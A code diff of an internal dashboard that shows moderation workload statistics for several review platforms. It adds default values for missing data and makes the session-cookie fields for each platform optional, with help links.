stats: { comment: 0, feed: 0, complaint: 0 },
weighted_total: 0,
total_count: 0
};
const cmsDaily = data.cms && data.cms.daily ? data.cms.daily : {
stats: { comment: 0, feed: 0, complaint: 0 },
weighted_total: 0,
total_count: 0
};
// 更新顶部统计栏 // 更新顶部统计栏
const cmsTotal = data.cms.hourly.total_count || 0; document.getElementById('cms-total').textContent = cmsHourly.total_count || '0';
document.getElementById('cms-total').textContent = cmsTotal; document.getElementById('cms-daily-total').textContent = cmsDaily.total_count || '0';
document.getElementById('cms-daily-total').textContent = data.cms.daily ? (data.cms.daily.total_count || '0') : '0';
// 更新CMS审核系统面板 // 更新CMS审核系统面板
document.getElementById('cms-hourly-comment').textContent = data.cms.hourly.stats ? data.cms.hourly.stats.comment : '-'; document.getElementById('cms-hourly-comment').textContent = cmsHourly.stats ? cmsHourly.stats.comment : '0';
document.getElementById('cms-hourly-feed').textContent = data.cms.hourly.stats ? data.cms.hourly.stats.feed : '-'; document.getElementById('cms-hourly-feed').textContent = cmsHourly.stats ? cmsHourly.stats.feed : '0';
document.getElementById('cms-hourly-complaint').textContent = data.cms.hourly.stats ? data.cms.hourly.stats.complaint : '-'; document.getElementById('cms-hourly-complaint').textContent = cmsHourly.stats ? cmsHourly.stats.complaint : '0';
document.getElementById('cms-hourly-count').textContent = data.cms.hourly.total_count || '-'; document.getElementById('cms-hourly-count').textContent = cmsHourly.total_count || '0';
document.getElementById('cms-hourly-weighted').textContent = data.cms.hourly.weighted_total ? data.cms.hourly.weighted_total.toFixed(2) : '-'; document.getElementById('cms-hourly-weighted').textContent = cmsHourly.weighted_total ? cmsHourly.weighted_total.toFixed(2) : '0.00';
document.getElementById('cms-last-update').textContent = '最后更新: ' + data.cms.hourly_update;
// 更新时间戳 // 更新时间戳
if (data.cms) {
document.getElementById('cms-last-update').textContent = '最后更新: ' + (data.cms.hourly_update || '未知');
if (data.cms.hourly_update) { if (data.cms.hourly_update) {
document.getElementById('cms-hourly-time').textContent = data.cms.hourly_update; document.getElementById('cms-hourly-time').textContent = data.cms.hourly_update;
} }
@ -1243,26 +1223,23 @@
} }
// 更新CMS每日数据 // 更新CMS每日数据
if (data.cms && data.cms.daily && data.cms.daily.stats) { document.getElementById('cms-daily-comment').textContent = cmsDaily.stats ? cmsDaily.stats.comment : '0';
document.getElementById('cms-daily-comment').textContent = data.cms.daily.stats.comment || '-'; document.getElementById('cms-daily-feed').textContent = cmsDaily.stats ? cmsDaily.stats.feed : '0';
document.getElementById('cms-daily-feed').textContent = data.cms.daily.stats.feed || '-'; document.getElementById('cms-daily-complaint').textContent = cmsDaily.stats ? cmsDaily.stats.complaint : '0';
document.getElementById('cms-daily-complaint').textContent = data.cms.daily.stats.complaint || '-'; document.getElementById('cms-daily-count').textContent = cmsDaily.total_count || '0';
document.getElementById('cms-daily-count').textContent = data.cms.daily.total_count || '-'; document.getElementById('cms-daily-weighted').textContent = cmsDaily.weighted_total ? cmsDaily.weighted_total.toFixed(2) : '0.00';
document.getElementById('cms-daily-weighted').textContent = data.cms.daily.weighted_total ? data.cms.daily.weighted_total.toFixed(2) : '-';
}
// 更新CC审核平台数据 // 更新CC审核平台数据
if (data.inspect && data.inspect.hourly) { const inspectHourly = data.inspect && data.inspect.hourly ? data.inspect.hourly : { total: 0, weighted_total: 0 };
const hourlyTotal = data.inspect.hourly.total || 0; const inspectDaily = data.inspect && data.inspect.daily ? data.inspect.daily : { total: 0, weighted_total: 0 };
const hourlyWeighted = data.inspect.hourly.weighted_total || 0;
document.getElementById('inspect-hourly-total').textContent = hourlyTotal; document.getElementById('inspect-hourly-total').textContent = inspectHourly.total || '0';
document.getElementById('inspect-hourly-weighted').textContent = `(${Math.round(hourlyWeighted)})`; document.getElementById('inspect-hourly-weighted').textContent = `(${Math.round(inspectHourly.weighted_total || 0)})`;
document.getElementById('inspect-daily-total').textContent = data.inspect.daily ? (data.inspect.daily.total || '0') : '0'; document.getElementById('inspect-daily-total').textContent = inspectDaily.total || '0';
if (data.inspect.daily) { document.getElementById('inspect-daily-weighted').textContent = `(${Math.round(inspectDaily.weighted_total || 0)})`;
document.getElementById('inspect-daily-weighted').textContent = `(${Math.round(data.inspect.daily.weighted_total)})`;
}
// 更新时间戳 // 更新时间戳
if (data.inspect) {
if (data.inspect.hourly_update) { if (data.inspect.hourly_update) {
document.getElementById('inspect-hourly-time').textContent = data.inspect.hourly_update; document.getElementById('inspect-hourly-time').textContent = data.inspect.hourly_update;
} }
@ -1271,10 +1248,10 @@
} }
} }
// 更新总计数据 // 更新总计数据 - 即使某个业务无数据也能正确显示总量级
if (data.total) { if (data.total) {
document.getElementById('total-weighted-hourly').textContent = Math.round(data.total.hourly); document.getElementById('total-weighted-hourly').textContent = Math.round(data.total.hourly || 0);
document.getElementById('total-weighted-daily').textContent = Math.round(data.total.daily); document.getElementById('total-weighted-daily').textContent = Math.round(data.total.daily || 0);
// 获取最新的时间戳 // 获取最新的时间戳
const hourlyUpdateTime = getLatestTimestamp([ const hourlyUpdateTime = getLatestTimestamp([
@ -1960,12 +1937,15 @@
function updateStats(data) { function updateStats(data) {
try { try {
// 更新统计栏数据 // 更新统计栏数据 - 使用默认值处理缺失数据
if (data.breeze && data.breeze.hourly) { const breezeHourly = data.breeze && data.breeze.hourly ? data.breeze.hourly : { total: 0, weighted_total: 0 };
document.getElementById('breeze-total').textContent = data.breeze.hourly.total || '0'; const breezeDaily = data.breeze && data.breeze.daily ? data.breeze.daily : { total: 0, weighted_total: 0 };
document.getElementById('breeze-daily-total').textContent = data.breeze.daily ? (data.breeze.daily.total || '0') : '0';
document.getElementById('breeze-total').textContent = breezeHourly.total || '0';
document.getElementById('breeze-daily-total').textContent = breezeDaily.total || '0';
// 更新时间戳 // 更新时间戳
if (data.breeze) {
if (data.breeze.hourly_update) { if (data.breeze.hourly_update) {
document.getElementById('breeze-hourly-time').textContent = data.breeze.hourly_update; document.getElementById('breeze-hourly-time').textContent = data.breeze.hourly_update;
} }
@ -1974,14 +1954,16 @@
} }
} }
// 更新CMS数据 // 更新CMS数据 - 使用默认值处理缺失数据
if (data.cms && data.cms.hourly) { const cmsHourly = data.cms && data.cms.hourly ? data.cms.hourly : { total_count: 0, weighted_total: 0 };
const cmsDaily = data.cms && data.cms.daily ? data.cms.daily : { total_count: 0, weighted_total: 0 };
// 更新顶部统计栏 // 更新顶部统计栏
const cmsTotal = data.cms.hourly.total_count || 0; document.getElementById('cms-total').textContent = cmsHourly.total_count || '0';
document.getElementById('cms-total').textContent = cmsTotal; document.getElementById('cms-daily-total').textContent = cmsDaily.total_count || '0';
document.getElementById('cms-daily-total').textContent = data.cms.daily ? (data.cms.daily.total_count || '0') : '0';
// 更新时间戳 // 更新时间戳
if (data.cms) {
if (data.cms.hourly_update) { if (data.cms.hourly_update) {
document.getElementById('cms-hourly-time').textContent = data.cms.hourly_update; document.getElementById('cms-hourly-time').textContent = data.cms.hourly_update;
} }
@ -1990,18 +1972,17 @@
} }
} }
// 更新CC审核平台数据 // 更新CC审核平台数据 - 使用默认值处理缺失数据
if (data.inspect && data.inspect.hourly) { const inspectHourly = data.inspect && data.inspect.hourly ? data.inspect.hourly : { total: 0, weighted_total: 0 };
const hourlyTotal = data.inspect.hourly.total || 0; const inspectDaily = data.inspect && data.inspect.daily ? data.inspect.daily : { total: 0, weighted_total: 0 };
const hourlyWeighted = data.inspect.hourly.weighted_total || 0;
document.getElementById('inspect-hourly-total').textContent = hourlyTotal; document.getElementById('inspect-hourly-total').textContent = inspectHourly.total || '0';
document.getElementById('inspect-hourly-weighted').textContent = `(${Math.round(hourlyWeighted)})`; document.getElementById('inspect-hourly-weighted').textContent = `(${Math.round(inspectHourly.weighted_total || 0)})`;
document.getElementById('inspect-daily-total').textContent = data.inspect.daily ? (data.inspect.daily.total || '0') : '0'; document.getElementById('inspect-daily-total').textContent = inspectDaily.total || '0';
if (data.inspect.daily) { document.getElementById('inspect-daily-weighted').textContent = `(${Math.round(inspectDaily.weighted_total || 0)})`;
document.getElementById('inspect-daily-weighted').textContent = `(${Math.round(data.inspect.daily.weighted_total)})`;
}
// 更新时间戳 // 更新时间戳
if (data.inspect) {
if (data.inspect.hourly_update) { if (data.inspect.hourly_update) {
document.getElementById('inspect-hourly-time').textContent = data.inspect.hourly_update; document.getElementById('inspect-hourly-time').textContent = data.inspect.hourly_update;
} }
@ -2010,10 +1991,10 @@
} }
} }
// 更新总计数据 // 更新总计数据 - 确保即使某个业务无数据也能正确显示总量级
if (data.total) { if (data.total) {
document.getElementById('total-weighted-hourly').textContent = Math.round(data.total.hourly); document.getElementById('total-weighted-hourly').textContent = Math.round(data.total.hourly || 0);
document.getElementById('total-weighted-daily').textContent = Math.round(data.total.daily); document.getElementById('total-weighted-daily').textContent = Math.round(data.total.daily || 0);
// 获取最新的时间戳 // 获取最新的时间戳
const hourlyUpdateTime = getLatestTimestamp([ const hourlyUpdateTime = getLatestTimestamp([

View File

@ -532,6 +532,12 @@
.message.fade-out { .message.fade-out {
animation: el-message-fade-out .3s; animation: el-message-fade-out .3s;
} }
.optional-label {
color: #999;
font-size: 0.8em;
font-weight: normal;
}
</style> </style>
</head> </head>
<body> <body>
@ -570,27 +576,27 @@
</div> </div>
<div class="form-group"> <div class="form-group">
<label>Breeze工单系统 Cookie</label> <label for="breeze_cookie">
<input type="text" name="breeze_cookie" placeholder="请输入Breeze系统Cookie" required> <div>清风审核系统Cookie<span class="optional-label">(可选)</span></div>
<div style="color: #ff4d4f; font-size: 12px; margin-top: 5px;"> <div class="cookie-help"><a href="https://breeze.opd.netease.com/center/workbench" target="_blank">breeze.opd.netease.com</a>获取</div>
必填项 </label>
</div> <input type="text" name="breeze_cookie" placeholder="请输入清风审核系统Cookie可选">
</div> </div>
<div class="form-group"> <div class="form-group">
<label>CMS系统 Cookie</label> <label for="cms_cookie">
<input type="text" name="cms_cookie" placeholder="请输入CMS系统Cookie" required> <div>大神CMS系统Cookie<span class="optional-label">(可选)</span></div>
<div style="color: #ff4d4f; font-size: 12px; margin-top: 5px;"> <div class="cookie-help"><a href="https://god-cms.gameyw.netease.com/cms/" target="_blank">god-cms.gameyw.netease.com</a>获取</div>
必填项 </label>
</div> <input type="text" name="cms_cookie" placeholder="请输入大神CMS系统Cookie可选">
</div> </div>
<div class="form-group"> <div class="form-group">
<label>CC审核平台 Cookie可选</label> <label for="inspect_cookie">
<div>CC审核平台Cookie<span class="optional-label">(可选)</span></div>
<div class="cookie-help"><a href="https://inspect.cc.163.com/#/forum/contenttrack" target="_blank">cc.163.com</a>获取</div>
</label>
<input type="text" name="inspect_cookie" placeholder="请输入CC审核平台Cookie可选"> <input type="text" name="inspect_cookie" placeholder="请输入CC审核平台Cookie可选">
<div style="color: #ff4d4f; font-size: 12px; margin-top: 5px;">
此选项可填可不填
</div>
</div> </div>
<div class="cookie-guide"> <div class="cookie-guide">